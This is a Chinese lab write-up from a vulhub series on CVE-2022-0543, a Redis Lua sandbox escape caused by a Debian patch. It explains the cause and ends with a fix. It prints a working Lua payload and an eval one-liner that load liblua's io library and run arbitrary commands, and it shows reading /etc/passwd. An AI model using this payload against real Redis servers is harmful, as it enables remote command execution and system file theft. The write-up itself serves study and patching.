vulhub之redis篇

CVE-2022-0543 | redis的远程代码执行漏洞

简介

复制代码
CVE-2022-0543 该 Redis 沙盒逃逸漏洞影响 Debian 系的 Linux 发行版本,并非 Redis 本身漏洞, 漏洞形成原因在于系统补丁加载了一些redis源码注释了的代码

原理分析

复制代码
redis一直有一个攻击面,就是在用户连接redis后,可以通过eval命令执行lua脚本.但这个脚本跑在沙箱里,正常情况下无法执行命令,读取文件 所以这个CVE本质是一个沙箱绕过漏洞

Ubuntu/Debian/CentOS等这些发行版本会在原始软件的基础上打一些补丁包给Redis打了一个的补丁,增加了一个include, 下面是Debian通过shell使用make生成补丁包的源码 :

复制代码
debian/lua_libs_debian.c:
    echo "// Automatically generated; do not edit." >$@
    echo "luaLoadLib(lua, LUA_LOADLIBNAME, luaopen_package);" >>$@
    set -e; for X in $(LUA_LIBS_DEBIAN_NAMES); do \
        echo "if (luaL_dostring(lua, \"$$X = require('$$X');\"))" >>$@; \
        echo "    serverLog(LL_NOTICE, \"Error loading $$X library\");" >>$@; \
    done
    echo 'luaL_dostring(lua, "module = nil; require = nil;");' >>$@

luaLoadLib(lua, LUA_LOADLIBNAME, luaopen_package)就是漏洞的来源,。

这段代码原本在redis源码里已经是被注释了的, 将其注释掉的原因就是"for sandboxing concerns"

Debian的这个补丁却把这句话重新写进去了, 导致在 Lua 沙箱中遗留了一个对象package,攻击者可以利用这个package对象提供的方法加载动态链接库 liblua 里的函数,进而逃逸沙箱执行任意命令

借助 Lua 沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在 Lua 中执行这个导出函数,即可获得io库,再使用其执行命令。

需要注意的一点是 : 不同系统下liblua5.1.so.0的路径可能不同

我们可以利用这个模块,来加载任意Lua库,最终逃逸沙箱,执行任意命令:

复制代码
local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("id", "r");
local res = f:read("*a");
f:close();
return res

Payload: (执行命令id可以改变)

复制代码
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

一、环境启动

二、直接通过redis-cli -h 127.0.0.1 -p 6379 进入redis里面进行测试

可见执行了tac /etc/passwd命令

三、漏洞修复建议

Lua 初始化的末尾添加package=nil 。

相关推荐
努力努力再努力wz8 小时前
【Lua 进阶系列】从 C++ 对象到 Lua 变量:一文理解 userdata、Lua 栈与元表绑定机制
c++·junit·lua
努力努力再努力wz4 天前
【Lua进阶系列】Lua 调试机制详解:从虚拟机调用栈、错误传播到 debug 库
junit·单元测试·lua
BuHuaX8 天前
Lua 与 ToLua:运行机制及热更新原理
开发语言·unity·junit·c#·lua
海棠Flower未眠8 天前
下单请求处理流程:商品维度分布式锁与 Redis 预扣库存
redis·分布式·junit
努力努力再努力wz9 天前
【Lua 入门系列】模块与包(一):从多文件组织到require 运行时加载机制、模块缓存、预加载搜索与 Lua 文件搜索机制
开发语言·junit·lua
CarIise10 天前
Spring 框架:多配置文件、开发方式与 IOC 注解
junit·maven·jar
努力努力再努力wz10 天前
【Lua入门系列】从 Table 到元表与元方法:一文理解 Lua 的行为扩展机制
开发语言·junit·lua
麻瓜code11 天前
秒杀优化三连:Lua + 阻塞队列 + Redis Stream,响应从 3.4 秒到毫秒级
redis·junit·lua
努力努力再努力wz13 天前
【Lua 入门系列】从顺序执行到分支与循环:一文理解 Lua 控制结构、作用域与跳转规则
junit·单元测试·lua
努力努力再努力wz14 天前
【Lua入门系列】从动态类型到变量作用域:彻底理解 local、全局变量与跨文件访问
开发语言·junit·lua